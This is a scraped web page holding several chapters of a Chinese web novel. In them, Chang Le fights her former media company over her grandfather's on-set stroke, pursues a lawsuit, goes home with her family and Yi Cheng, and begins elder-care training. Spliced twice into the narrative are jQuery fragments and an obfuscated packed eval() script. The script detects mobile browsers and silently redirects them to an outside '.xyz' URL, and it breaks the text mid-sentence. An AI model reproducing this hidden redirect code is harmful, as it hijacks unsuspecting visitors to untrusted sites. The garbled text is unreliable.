$(''.inform'').remove(); $(''#content'').append('' 如蚊蚋:“姐姐,能不能把视频删了?现在网上好多人都在骂我妈妈,妈妈一直在哭……” 常乐看着她漂亮清澈的眼睛,一时默然。 她的眼里,除了哀求,还有藏不住的恐惧。 常乐本来都心软了,可是一抬头,又看到小西瓜的妈妈在低头啜泣,顿时心生反感。 这些话肯定是她教的。平时拿小孩当摇钱树,危急时刻还要拿她当挡箭牌,真是令人心寒。 常乐没说话,面无表情地拂开小西瓜的小手,继续推着轮椅往前走,在圆桌旁落座。 林文娟和姥爷分别坐在她的左右,像两大护法。 服务员陆续进来,给他们斟茶上菜。 面对满桌佳肴和一盘堆得高高的大闸蟹,常乐丝毫没有胃口,其他人也没有动筷。 萱萱主动开口:“常乐啊,上次你给我发的出院账单,老爷子可以走医保,自费部分是三万多,对吧?这笔钱,理应由我们出。” 常乐摇摇头,“不止这些。还有后续的康复费、医药费、护工费,以及这段时间,我的家人大老远跑过来的车马费、住宿费和餐饮费。我列了张清单,加起来差不多十万。” 她从包里抽出一沓资料,放在圆盘上,转到萱萱面前。 萱萱拿起文件,歪着头翻阅着,忽然挑了挑眉,笑容里多了几分嘲讽。 “精神损失费?你当我们是冤大头呢?” 她把文件仍给旁边的刘子明。 刘子明只瞥了一眼,就说:“可以。不过,你得先答应我们一个条件。” 常乐回答得很干脆:“我不答应。” 刘子明愣住了,跟萱萱对视一眼。 “我还没说是什么条件。” “不管什么条件,我都不答应。”常乐靠在椅背上,双臂抱怀,挑衅地直视着他,“我是来要钱的,不是来谈判的。这笔钱,本来就该你们出,没有任何谈条件的余地。” “你这……”刘子明一时无语,摇摇头,不再搭理她。 眼看局势陷入了僵局,杨鑫然连忙打圆场:“小妹妹,别把话说得那么死嘛,我们又没说不给钱,只是想跟你商量一下,能不能把那两条视频删了,再发个视频跟大家解释一下,说这些都是在演戏。只要视频一发,我们马上打钱,一秒钟都不带犹豫的。” “不可以。”常乐态度异常坚决,“首先,这笔钱是你们应该出的,不能附带任何条件。其次,如果出院那天,你们能把钱打过来,就不会有后续这些事了。可是你们偏偏要装死,一拖再拖,所以,我必须要让你们付出代价。” 话音刚落,小西瓜的妈妈猛地一拍桌子,指着常乐,咬牙切齿道:“你们之间有矛盾,关我什么事?为什么要把我扯进来?我的账号已经掉了十万粉了,底下的评论都在骂我,之前谈好的几个广告商也取消了合作。你知道这个账号对我们全家来说有多重要吗?” 常乐提起一口气,正要跟她对骂,旁边的林文娟先开口了:“那些视频我也看了,简直令人发指!你也配当妈?”她说着说着,声音就哽咽了,“我家女儿是全家的宝贝,是捧在手心里长大的,哪儿磕了碰了,我都心疼得不得了。你的孩子还那么小,那么乖,你怎么能忍心下这种狠手呢?” 常乐偷偷在桌底给她塞了一张纸巾,压低声音道:“妈,这种时候,可千万别哭啊!” 已经迟了,林文娟开始抹起了眼泪,呜咽道:“你也是当妈的人了,怎么一点同理心都没有呢?你忍心看着你的女儿孤身在外,被一帮人欺负吗?” 另一边的姥爷也发出轻微的啜泣声,低下头,用桌布擦拭着眼角。 常乐简直无语了。 什么两大护法?分明是两大哭包,严重影响士气! “咳咳——”常乐重重地咳了两声,试图遮盖两人的哭声。 她扬起下巴,直视对面几个人,理直气壮道:“总之呢,视频我是不会删的,钱你们也得照付。我已经请了律师准备起诉,到时候,你们不仅要赔钱,还得承担诉讼费。” 萱萱呵笑一声,双臂抱怀,向她投来冰冷的目光。 “既然没有任何谈判的余地,那你来这里干嘛?” 常乐迎上她的目光,咧嘴一笑。 “不是你请我来的吗?”她一脸无辜,拿起面前的一只大闸蟹,“咔嚓”一声掰下蟹钳,“我是来吃饭的呀。” 82. 82 虽然没什么胃口,但常乐还是顶着所有人的目光,慢条斯理地啃完了一整只大闸蟹。 她是打车来的,怎么着也得吃回本。 林文娟也拿起一只。 姥爷也蠢蠢欲动,不料,刚伸出手,就被常乐用蟹钳拦住。 “哎哎,脑梗病人不能吃螃蟹,医生说的话你都忘了?” 姥爷悻悻地收回手,抱着“吃不到葡萄说葡萄酸”的心理,吐槽道:“这个时候的大闸蟹还没成熟呢,肯定不好吃,没准儿是什么便宜河蟹冒充的。” 对面几个人:“……” 萱萱看不下去了,起身拎起包,神态倨傲,“你们自便吧,爱吃多少吃多少。” 她哼嗤一声,踩着小高跟往门口走去,出门时,还丢下一句嘲讽:“一副穷酸样。” “哎你个小瘪三!”常乐抓起桌上的蟹壳朝她扔去。 紧接着,刘子明也站起身,冲他们敷衍地点了点头,然后大步追了出去。 杨鑫然屁股刚要离开座椅,就被常乐一嗓子喝住了:“你留下!你不能走!” 杨鑫然一脸懵,指着自己,“我吗?为啥啊?” 常乐说:“你走了谁买单啊?” 一瞬静默。 杨鑫然讪讪地说:“我们已经结过账了。” 常乐:“那谁知道呢?而且,我得留个人质,万一菜里有毒呢?” 杨鑫然:“……” 他尴尬地拿起筷子,给自己夹了一根青菜。 小西瓜的妈妈还在抹眼泪,不时给小西瓜夹块肉、盛碗汤,还轻轻抚摸她的脑袋,表演舐犊情深。 “我知道,你们光看了那些视频,就认定了我是个坏妈妈,可是……”她将小西瓜搂进怀里,啜泣一声,“她一直进入不了状态,现场那么多人都等着她,我也不想耽误大家的时间啊……小西瓜是我十月怀胎生下来的宝贝,我怎么可能不心疼她呢?我这也是为了她好啊……” “噫!”常乐用筷子敲了下碗,不耐烦地说,“吃饭的时候别说话!你看你,鼻涕都流到碗里了。” 小西瓜的妈妈顿时噎住,不敢吭声了。 包厢里终于安静下来,只剩下筷子碰撞碗碟的轻微声响。 一顿饭吃到八点多,桌上的菜肴还剩下大半。常乐本想秉持常家的节俭家风,统统打包带回去,可是又想到打包盒还得花钱,索性作罢。 常乐推着轮椅走出小院,外面依旧雨雾蒙蒙,地上的积水汇成一道道小溪。 杨鑫然跟在她身后,说:“我送你们吧。” “不用。”常乐盯着手机,“我叫了车,马上就到。” 杨鑫然沉默片刻,叹了口气,说:“大家好歹同事一场,何必闹得这么难看呢?以后哪个公司敢要你这样的员工?” 常乐终于抬起眼,斜乜着他,凉凉地说:“我怕什么?光脚的不怕穿鞋的,你还是多担心担心自己吧。好歹是个小网红,多少双眼睛都盯着你呢,一点黑料就能让你翻车。我呢,纯素人一个,大不了以后不在这个圈子混呗。” 杨鑫然语气无奈:“就非得搞得鱼死网破?” 地上的积水泛起一阵涟漪,一辆网约车缓缓停在小院门口。 常乐扶着姥爷坐上车,又折返回来,将轮椅折叠起来,塞进后备箱。 她打开车门,对杨鑫然说:“网破了,鱼还有一线生机。网不破,鱼只有死路一条。” 车窗蒙上了一层雾气,城市的霓虹溶成一团团模糊的光晕,像一个虚幻的梦。 “妈,”常乐回过头,望着后排的林文娟,“你们打算什么时候回去?” “还没买票,等你把这边的事处理完吧。你不是想跟我们一起回去吗?” 常乐一时默然,烦恼又涌上心头。 她叹气道:“上次问过律师了,他说现在法院积压的案子太多,根本忙不过来,现在去立案的话,至少要等三个月才能排到我们。” 林文娟想了想,说:“那你先跟我们回去,等开庭了再过来。” 常乐又说:“律师说,可以走诉前调解,这样就不需要拖那么久。” 姥爷轻咳一声,开口道:“只要对方能同意我们的诉求,调解也不是不行。” 常乐不置可否,转过头,继续望着窗外。 林文娟从后面拍了拍她的肩,说:“乐宝,我觉得你这次特别勇敢。” 常乐笑了笑,“兔子急了还敢咬老虎呢,更何况,对面还是只纸老虎,只会唬人,毫无战斗力。” 林文娟感叹道:“上次在病房见到你,你还哭哭啼啼的,可怜兮兮的,我就在想,这外面的环境也太恶劣了,我家的小树苗遭了多大的罪啊。” 常乐说:“现在,小树苗也能挡在前面保护你们了。” 林文娟轻抚常乐的后脑勺,说:“只要咱们一家人在一起,就能扛过一切风风雨雨。” -- 过了几天,案件被法院正式受理,调解员打来电话,询问常乐愿不愿意诉前调解。 常乐纠结再三,终究是妥协了:“行吧。” 不料,当天下午,调解员又打来电话,语气有些冲:“你是不是在网上发视频骂人家了?对方说,除非你把视频删了,再发个道歉视频,他们才愿意调解。” 常乐顿时火冒三丈。 为了速战速决,她都打算让步了,结果他们还蹬鼻子上脸了。哪来的自信啊? “不行!”常乐怒气冲冲地说,“我就不删!反正我也不想调解,那就直接打官司吧!” “可是……”调解员还试图说服她,“对方还说,如果你不删,就要告你侵犯他们的名誉权和隐.私权。你要不再考虑考虑?” 常乐斩钉截铁道:“不考虑。让他们告去吧!他告他的,我告我的,咱们法庭上见!” 挂断电话后,常乐做了几个深呼吸,等情绪慢慢恢复平静,又给律师打了个电话。 她已经决定了,必须打官司。别说三个月了,就是三年,她也耗得起。 她就是要争一个是非对错。 律师让她放心,这个案子并不复杂,所需的材料都已准备充分了,只要她在开庭时出现就行。 常乐订了三张回家的动车票。在房间里收拾行李时,她忽然想到一件重要的事—— “完了,咱们都走了,易诚怎么办?” 林文娟幽幽地瞥了她一眼。 “你可算想起他了。”她没好气地说,“人家大老远跑过来找你,结果你拍拍屁股就走人,都不跟他说一声。” 姥爷正躺在床上看电视,听到这话,震惊地瞪大眼,“你要回家,没跟他知会一声?” “……最近事儿太多,我忙忘了嘛。”常乐无力地辩解,企图亡羊补牢:“要不,我现在跟他打个电话?” 林文娟“啧”一声,“一点诚意都没有。好歹得当面跟人家解释一下吧?” 常乐懊恼地挠挠头,手机又放回兜里。 考虑片刻,她背上包,换上鞋,说:“我去找他。” 周末的下午,商场里人头攒动,热闹非凡。易诚上班的轮滑店在三楼,常乐没费多少工夫就找到了。 现在正是店里最忙的时候,隔着明亮的落地玻璃,常乐很快找到易诚——他正站在一排小孩面前,认真地讲解着轮滑的分解动作。这群小孩看上去都是初学者,装备齐全,动作却很笨拙,才刚起步就摔了个狗吃屎,引得玻璃窗外的几个围观路人哈哈大笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175762|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>易诚似乎有所感应,扭头看了过来,正好与常乐的视线对上。 常乐冲他挥挥手。 易诚没什么反应,转过头继续上课,嘴角却不自觉地翘起,眼角的余光不时偷瞟过来。 常乐脸上虽然挂着笑,心情却越来越沉重。 她就这么一走了之,把易诚一个人留在这里,是不是太没良心了? 半个小时后,这堂课终于结束。易诚换下轮滑鞋,飞快地跑出教室,几秒钟后,就出现在了常乐面前。 他垂眸看着常乐,眼睛亮晶晶的,笑着问:“你怎么来了?” 常乐语气轻松:“想请你吃个饭呗。” 现在已经到晚饭时间了,这个借口合情合理。 易诚面露难色,“我们店有员工餐,而且,我只有半个小时的休息时间。” “这么忙啊?” “今天周末嘛,平时九点下班,今天估计要到十点。” 常乐“哦”了一声,没话说了。 易诚察觉到她有心事,试探着问:“姥爷那边还好吧?” “他没事。我们去找公司谈判了,没谈拢。我决定不走调解程序,直接打官司。但是开庭至少要等三个月,所以我们打算先回去了。”常乐一鼓作气,将最近发生的事全告诉了他。 易诚很快捕捉到重点:“你们?你也回去吗?” 常乐低着头,盯着地板上的缝,低低地“嗯”了一声。 易诚继续问:“什么时候回去?票买好了吗?” “买好了,后天中午,就是当时你跟姥姥回去坐的那趟动车。” 顿了顿,常乐鼓起勇气抬起头,对上他的视线,说:“对不起啊。” 易诚牵唇一笑,“跟我说什么对不起?” 常乐脸上满是歉疚,“我做出这个决定的时候,没有顾及你的感受,把你一个人留在这里,挺过分的。” 易诚又笑了,“什么叫把我留在这里?我又不是三岁小孩,去或留都是我自己的选择,你不要有心理负担。” 常乐垂下眼帘,没吭声。 静默片刻,易诚又说:“其实,你回去也挺好的。我觉得你在这里过得并不开心。” 常乐心头翻涌起一阵酸涩。 回想这几个月,开心的时刻也有不少,但那都是工作之余,跟常悦或者易诚在一起时体验到的,跟工作毫无关系。 而一想起工作,她就不自觉地感到紧张、焦虑、压抑、沉重……全是负面情绪。 偶尔也会有成就感,但随着时间累积,这种感觉越来越淡,疲惫麻木占据了整个身体。 她过得不开心,不是城市的错,也不是工作的错,只是,她根本不适合这份昼夜颠倒的工作,也不适应这座快节奏的城市。 “易诚。”常乐忍住眼底的涩意,抬眼望向他,“你在这里过得开心吗?” 易诚想了想,逐条分析道:“工作还行,吃的还算凑合,住的一塌糊涂,在店里交到了一些朋友。总的来说,还不错。” “我觉得,你在哪儿都能很快适应,而且能过得很好。”常乐摇摇头,“我就不具备这种能力。” “不能这么说。”易诚盯着她的眼睛,认真地说,“每个人追求的东西不同,选择的生活也不同。你向往自由,就选择广阔世界,你向往安稳,就回到家庭港湾。 “没有哪一种生活是绝对正确的,人都会不自觉地选择自己最舒服、最自在的生活方式。 “你想想,你在家里是不是要开心得多?” 常乐回想起当全职女儿的那段时光,感觉心里都亮堂了起来。 她点点头,脸上不自觉浮起笑意。 易诚会心一笑,“那就听从自己的本心吧。” 83. 83 高铁站外,常乐扶着轮椅把手,第八次催促姥爷:“快进去吧,轮椅过安检挺麻烦的,咱们带的行李又多,得留出充足的时间……” 姥爷攥住车轮不肯撒手,反倒催起了常乐:“你再给易诚打个电话,说不定他马上就到了。” “哎哟!”常乐烦躁地说,“打什么呀?他又没说要来送我们。” 林文娟问:“今天他不是休息吗?” 常乐说:“对啊,他就不能在家休息休息嘛?特意跑来送我们,又不能进站,说几句话就走,有什么意义呢?” “我觉得易诚这孩子挺重感情的,他肯定会来。”姥爷固执地说,“再等等吧。” 无奈之下,常乐只好又给易诚打了个电话,嘟声响了半天,还是没人接。 前天,常乐去轮滑店找易诚,他只有半小时的空档,还得抓紧时间吃饭,所以常乐没聊两句就跟他挥手告别了,临走前都没听到他说一句要来送行。 常乐心里不免伤感,在商场漫无目的地溜达一圈后,就去负一层觅食。 她找了家生意还不错的麻辣烫店,随便挑了几样蔬菜和丸子,上称一称,三十八。 常乐瞬间清醒了,心里那点伤感也荡然无存。 杭城居大不易啊。她一个家境平平、学历普通、能力也一般的打工人,待在这里简直是hard模式,何必呢? 门口排队的人越来越多,常乐收回思绪,再次催促道:“走了走了,别等了。”她指挥林文娟:“妈,把姥爷的手扒开,你扶着他进去。” 常乐在网上查到,坐轮椅的乘客可以提前预约重点乘客服务,车站会安排工作人员接站,全程走绿色通道。但姥爷觉得自己还能单腿蹦跶几下,行动还算自如,所以不愿意占用公共资源。 顺利过完安检后,三个人在检票口找了几张空座椅坐下。 常乐掏出手机,没有等到易诚的回复,有点心烦意乱,又想到他今天休息,老是打扰他也不好,索性把这事抛诸脑后。 打开抖音,后台又涌进来一堆私信,点开一看,常乐顿时血压飙升一百八—— 私信里全是骂她的。 前几天私信里还都是鼓励和支持呢,怎么一夜之间,风向转换这么快?难道她的瓜也反转了? 一连翻了十几条,终于找到一条有用的:【小美萱昨天直播了,说你是被开除的员工。你也真够low的,用这种手段抹黑前公司。】 常乐迅速退出私信,搜索“小美萱直播”,很快找到一段直播切片—— 萱萱在直播间一边化妆一边说:“哎呀,那两段视频我也看了,根本没当回事儿。我们已经查清楚了,就是公司一个前员工,试用期不合格,被我们劝退了。她可能是心怀不满,蓄意报复吧,所以临走前在公司的电脑上拷贝了一大堆视频,然后恶意剪辑出了这两段。我们看了都觉得好笑,这不是拍戏的花絮吗?”她嗤笑一声,翻了个白眼,“这也有人信?” 大概是有网友提出质疑,萱萱放下眼线笔,凑到镜头面前,说:“要我出示证据?行,我给你们看。” 她举起手机,将一张照片放大,“呐,这是她的工作证,你们看看就好,别到处传播啊。其实,我也想不通,看着挺老实一人,怎么会做出这种事呢?啧啧,真是知人知面不知心啊。” 虽然她将关键信息打了码,但常乐的证件照还是清清楚楚地展示在了屏幕上。 常乐的肺都要气炸了。 她立马给律师打去电话,开门见山道:“有人在网上给我泼脏水,还放我照片,我要告她诽谤!” 律师一如既往地冷静:“保留证据了吗?” “……我忘了,不过网上一搜就能搜到。” “第一时间截图或者录视频,如果知道对方的基本信息,也一起发过来。之后的事就交给我吧。” “嗯。”顿了顿,常乐又问:“我能发个视频解释一下吗?” 律师沉吟片刻,“可以。不过,我之前说的三条底线,你千万要记住:第一,要陈述事实,不要夸大或造假;第二,不要暴露对方的真实信息;第三,不要有过激言论或者侮辱性词汇。” 常乐重重地“嗯”一声,挂断电话。 林文娟坐在旁边,一脸担忧地问:“谁在网上骂你?” “萱萱。”常乐盯着手机,言简意赅道,“前公司的HR,上次吃饭的时候你见过。” 林文娟很快想起来了:“她啊?长得还行,就是挺没素质的,看上去没读过什么书。” 常乐呵笑一声,“所以说她傻嘛。” 互联网这碗饭吃了这么多年,居然连这点基本常识都没有,直接把常乐的工作证和照片放出来,这不是授人以柄嘛。 常乐打开抖音,录下了萱萱那段直播视频,并附上她的基本信息,统统发给律师。 剩下的,就交给专业人士吧。 检票口已经排起了长队,常乐仰头靠在椅背上,大脑开始疯狂运转。 不锈钢椅背贴着她的后颈,冰凉的触感让她保持了一丝清醒。 她想,必须发个视频澄清一下,可是,从哪一方面入手呢? 她是公司的前员工,这一事实她无法反驳,那就去验证视频的真伪吧。她可以将姥爷的病历展示给大家看,证明视频并非在演戏,这场事故是真实发生的…… 正思忖着,身后忽然传来一道男声,提醒她:“开始检票了。” 声音很熟悉,常乐没多想,瞥了一眼缓慢蠕动的队伍,说:“不急,我们走人工通道。” 男声再次响起,还戳了戳她的肩膀:“那也得抓紧了。” 常乐不耐烦地“啧”了一声,转过头,想看看是什么人这么没有边界感。 一抬眼,顿时愣住了。 易诚就坐在她的背面,趴在椅背上,手指还悬在空中。 四目相对,他咧嘴一笑,露出一排大白牙。 “易诚?!”林文娟和姥爷同时惊喜地喊出声。 “你怎么……”常乐瞪着他,还没从震惊中回过神来,“你、你……你是怎么进来的?” 易诚说:“买票就能进啊。” 林文娟好奇地问:“你买的什么票?车站现在不卖站台票了。” “回家的票。”易诚提起脚边的行李包,“我也要回去。” 常乐仍是一头雾水:“你请了假?该不会是为了护送我们回去,特意请的假吧?没这个必要,我们又不是没坐过动车。” 易诚站起身,单手提着行李包,另一只手上拿着身份证和车票,招呼他们去检票口排队。 他边走边解释:“我没有请假,我直接辞职了。” “啊???”三人都惊呆了。 易诚笑了笑,“我想了想,觉得与其在这里苦哈哈地打工,还不如回家当个小老板,逍遥又自在。” 人工通道的检票速度明显比机器通道要快得多,没过一会儿就排到他们了。 他们依次过检票口,推着轮椅走进了直梯,来到站台上。 动车还没来,几个人又继续刚刚的话题—— “这就辞职了?”姥爷仰着头问易诚,“我听乐乐说,你在那家店干得挺不错的啊,辞职了多可惜啊。” 常乐也深感惋惜,又忍不住好奇:“你一提辞职就能走了?老板没为难你?” “没有。”易诚笑着说,“老板人挺好的,我把工作交接完就放我走了。” ——其实扣了他半个月的工资,但这点小事没必要说,免得她徒增愧疚。 林文娟掐了下常乐的胳膊,埋怨道:“你看看你,说来就来说走就走,把人家来回折腾。你对得起易诚嘛?” “我没有……”常乐简直百口莫辩。 虽然易诚是为她才来到杭城的,这一点大家都心照不宣,但是,不是她主动让他来的呀,她更没说过让他一起走。她甚至觉得,他比自己更适合留在这里。 动车缓缓靠站,乘客们纷纷提起行李排队上车。姥爷在易诚的搀扶下,一蹦一蹦地上了车,常乐折叠好轮椅,跟在他们身后。 他们径直走到餐车车厢,找了个宽敞的卡座坐下,各自点了一份套餐。 常乐主动付款。看着两百多的巨款被扣掉,她有点肉疼,又暗暗庆幸姥姥不在,否则,这四个多小时的行程,他们怕是只能靠水煮蛋和白开水维持生命体征了。 “林姨,这事不能怪常乐。”易诚主动承担责任,“从头到尾都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190527|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我自己做的决定,没有跟她商量过。” 林文娟惋惜地叹了口气:“可是,要不是她,你也不会来回折腾,白白浪费了两个多月,吃了多少苦。” 常乐小声嘟囔道:“我也吃了很多苦好不好……” 易诚一本正经地说:“其实这两个月,我的收获还是挺大的,比如,对市场有了进一步的了解,学习到了先进的管理经验,并且掌握了不少营销策略。这些对于我以后开培训班都有很大的帮助。” “……”常乐听得一愣一愣的,“一个小店就能学到这么多东西?说说看,你都掌握了什么营销策略啊?” “比如……”易诚认真地想了想,“穿着奥特曼的衣服滑轮滑,一边给小孩折气球小狗,一边给家长发传单。” 常乐想到这幅画面,一时没忍住笑出了声。 “你还笑!”林文娟瞪她一眼,“人家是为了安慰你,听不出来吗?” 常乐厚着脸皮说:“既然你都听出来了,那就别戳破嘛!让人家继续安慰不行吗?” -- 吃过中饭,常乐掏出手机,准备将姥爷的病历整理成视频发到抖音上。刚进行到一半,林文娟就搡搡她的胳膊,催促道:“吃完饭别坐着,多走动走动,消消食。” 常乐无奈地放下手机,站起身,等着她一起去。 “看我干嘛?”林文娟打了个哈欠,“我困了,想睡一会儿,你跟易诚去。” 常乐一脸无语。 意图这么明显,但演技还是一如既往地烂。 “行吧。”常乐冲易诚勾勾手,“咱们去消消食。” 两人在几节车厢里来回溜达,最后停在车厢交汇处,看着窗外一闪而逝的江南水乡,不约而同地沉默下来。 常乐掏出手机,开始编辑视频文案:“视频中的老人是我的姥爷,他跟明鑫文化传媒签署了劳务合同,之后便开始了长达两个多月的辛苦拍摄。由于拍摄任务繁重,拍摄时间过长,经常拖到后半夜,导致他在拍摄这一段视频时突发脑梗……” 编辑完后,她把手机递给易诚检查。 易诚看得很仔细:“这两句话重复了,这张病历上有个名字没打码,还有这份劳务合同的字太小了,网友没耐心看完,你把关键条款拍照发出来就行。” “行。”常乐接过手机,继续操作。 她靠在白色车壁上,身体随着车身轻微晃动。午后的阳光透过车窗,落在她微微蹙起的眉头上,易诚第一次发现,她的睫毛长而直,在眼底投下一片阴影,忽而闪动一下,仿佛蝴蝶振翅。 过了许久,常乐终于如释重负地呼出一口气,将手机塞回兜里,重新抬眼望向窗外。 窗外的景色已经从江南水乡变成了绵延的青山,动车不时钻进隧道,又很快钻出,眼前忽明忽暗,风景也在变幻不停。 又一次穿过隧道时,常乐突然开口,声音低得像是自语:“前天你说的那些话,对我挺有启发的,我觉得出来这一趟,我也不算一无所获。至少,我看清了自己的内心,知道了自己最向往什么。” 她收回视线,抬眸望向易诚,目光坦荡而真诚。 “我以前太拧巴了,总是很在意外界的声音,所以忽视了内心的真实感受。其实,我是个没什么野心的人,能陪伴家人,赚点小钱,平平淡淡过好每一天,我就知足了。不管这个世界怎么热闹怎么精彩,我想要的,只是一个小小的家。” “恭喜你。”易诚垂眸望着她,眼底浮起温柔的笑意,“当个全职女儿其实挺好的,如果可以,我也想一直陪在家人身边。” “其实……”常乐抿了抿唇,有些犹豫,“我有个想法,但是还不太成熟。” 易诚鼓励道:“说说看。” “这次姥爷生病,让我想了很多。姥姥姥爷年纪都大了,爸爸妈妈也在慢慢变老,身体一天不如一天,与其到时候请护工,不如由我来照顾他们。” “所以……” “我想自学护工的基本知识和技能,再去考个护工证,这样就能更专业更细致地照顾他们。更何况,小区里有那么多老人,都需要人照顾。” 常乐望向远处的青山,眼里闪着坚定的光。 “我觉得我能行。” 84. 84 推开家门,一股浓郁的鸡汤香味扑鼻而来,厨房里传来哗啦的水声。 “我们回来了!”常乐大声喊道。 一道黑白残影闪过,胜宝如离弦的箭飞窜而来,常乐急忙蹲下,张开双臂迎接她,她却一头扎进了姥爷的怀里,鸡毛掸子大尾巴无情地拍打在常乐脸上。 为掩饰尴尬,常乐一把抱起她身后小短腿狗崽子,又摸又亲,不停地嘬嘬嘬:“我想死你们啦!” 厨房里,水声戛然而止,姥姥一路小跑出来,湿漉漉的手掌拍打在常乐的肩上。 “回来了?哎哟,我瞅瞅,一个个饿得面黄肌瘦的,路上没吃饭吧?猪肚鸡已经炖好了,冰箱里还有个大西瓜,你们是先喝汤还是先吃水果?” 林文娟推着轮椅往里走,说:“妈,我们不饿,在车上吃得挺好的。” 姥姥嘴角一垮,脸色骤沉。 常乐急忙解释:“呃,那个,动车上的盒饭卖不出去,最后打折促销,买一送三。我们四个人,总共才花了二十块。” 姥姥的脸色这才好转。 “外面的野饭哪有家饭香?”她拎着常乐的衣领,把她提了起来,“快去洗手,把西瓜拿出来切了。” 开车接他们回来的常建民一手提一袋行李,哼哧哼哧地放进了客厅,还不忘招呼身后的易诚:“来来来,赶紧进屋。” 易诚把行李箱提到客厅,又退回到门外:“我还是先回去一趟吧,我的两条狗——” “先吃饭!”姥姥一把抓住易诚的胳膊,精瘦的手掌力道惊人,将他强行拽到餐桌边,摁着他的肩膀坐下,“吃完了再回去。” 一家人轮流解决完内急问题,在餐桌边坐下,每人面前都放着一碗香喷喷、热腾腾的鸡汤。 姥爷扭头张望一圈,眼眶渐渐红了。他一把鼻涕一把泪地说:“还是家里好啊,在外面真是太遭罪了!” “你也知道啊?”姥姥斜他一眼,埋怨道,“都一把年纪了,还折腾个什么劲儿?现在好了,哪儿也去不了,老实在家躺着吧。” 姥爷叹了口气,“不服老不行啊。” 常建民问:“爸,你的右手恢复得怎么样了?” “能动,就是没之前灵活了。”姥爷用右手拿起筷子,吃力地夹动着手指,却始终没办法夹起东西,只得无奈换成勺子,舀了一勺鸡汤送进嘴里。 暖呼呼的鸡汤下肚,热烘烘的眼泪又流下来了。 他喃喃自语道:“我也没想到,签合同时说得那么好听,结果每天都得加班,吃得敷衍,住得糟心,最后受了工伤,还不给报销,真是……”他又是摇头又是叹气,“世事险恶,人心难测啊。” 一阵唏嘘后,常建民又转向常乐,“官司进展怎么样了?” “律师说,三个月后才开庭,让我安心等着。” “应该没什么问题吧?” 常乐从碗里拿起鸡腿,边啃边说:“公司肯定是要赔钱的,不过,不一定能赔那么多,我报十万只是想吓唬吓唬他们。看最后法院怎么判吧,能覆盖姥爷的医药费和康复费就行。” “那你就安心待在家里吧。”常建民安慰道,“家里不缺你那点工资。你要是实在想上班,就继续当全职女儿吧,我觉得你干得挺好的。” 常乐嘿嘿一笑,跟桌对面的易诚交换了一个眼神。 林文娟敏锐地捕捉到两人间的互动,打趣道:“哟,藏了什么小秘密,也跟我们分享一下呀。” 易诚低着头,抿笑不语。 常乐吐出鸡骨头,说:“易诚在车上也说过这些话。不过,我觉得这份工作太轻松,也没什么技术含量。要把你们照顾好,还是得掌握一些专业技能。” 林文娟不解地问:“要啥专业技能?当全职女儿又不需要考证。” 常建民符合道:“对啊,应聘条件只有一个,是咱们的亲生女儿就行。这简直是个萝卜岗嘛,而且永远不会失业。” 常乐放下筷子,轻咳两声,正色道:“那我也不能就此躺平啊。为了更好地服务你们,我打算自学护理知识,再考个技能证书,以后持证上岗。” 林文娟愣了几秒,很快反应过来:“你想当护工啊?姥爷住院时咱们请的那种护工?一天三百?” 常乐点点头,毫不谦虚:“这个价格我可以接受。” “……”林文娟恍然大悟,“我说呢,怎么突然变得这么上进,原来是为了涨价。” 姥姥面露忧色,说:“护工很辛苦的,你问问易诚,他家以前不是请了一个吗?” 易诚点点头,“是很辛苦。什么脏活儿累活儿都得干,二十四小时贴身照顾,晚上也不能放松。” 常乐说:“这些我都知道,我有心理准备。” “护工还得端屎端尿呢,你干得来吗?”姥姥一脸不信任。 常乐自信满满:“这有什么?我之前还帮姥爷——” “咳!”姥爷重重地咳嗽一声,脸涨得通红,“吃饭的时候别聊这些,影响食欲。” 思忖片刻,林文娟又开口道:“你要是想更好地照顾我们,不如去考个老年人护理证。我有个同学以前在人社局上班,她说人社局为了促进再就业,会定期组织各种培训,其中就有老年人护理员培训。” 常乐提出最关心的问题:“收费吗?” “人社局组织的培训都是免费的,在培训学校连上十几天课,再考个试,通过了就能拿证。” “还得去上课啊?” 一想到要准时准点地上课,常乐就心生抗拒,尤其是想到同学可能都是中年人,她心里就更别扭了。 她讪讪地说:“算了,我还是自学吧,网上什么教程都有。” 林文娟鼓励道:“去嘛,网上都是纸上谈兵,只有亲自尝试过,才知道适不适合自己。”顿了顿,她又补了句:“而且我听说,你参加完培训课程,拿到证书,就有一千块的补贴,自学的可没有这种福利。” “我去!”常乐腾地一下站起身,两眼放光,像苍蝇看到屎物,哦不,食物一样兴奋地搓着手,“在哪儿报名?” 第二天,常乐就去本地的人社局了解情况。人社局的确组织了不少免费培训,而她想报名的那个,专业名称叫“养老护理师”,听上去还挺高端的。 最新一期课程将于下周一开班,连续上十天课,每天上八个小时,之后参加统一考试,考过了就能领证。 至于补贴,工作人员只字未提,常乐也不好意思问,毕竟她的主要目的是提升自我,一千块只是锦上添花。 在家休整几天后,常乐背着小书包,迎着盛夏的朝阳,兴冲冲地去培训学校上课了。 找到教室,环视一圈,不出她所料,绝大部分同学都是中年女性,沉默且拘谨,只有一个大姨比较健谈,当场被老师选为班长。 第一天,他们主要进行理论学习,包括职业道德和基础知识,之后就开始实操练习了,从对老年人的生活照料到技术、康复、心理等方面的护理,五个人一组,围着一个假人,轮流进行操作。 常乐觉得挺有意思,学得也很认真。 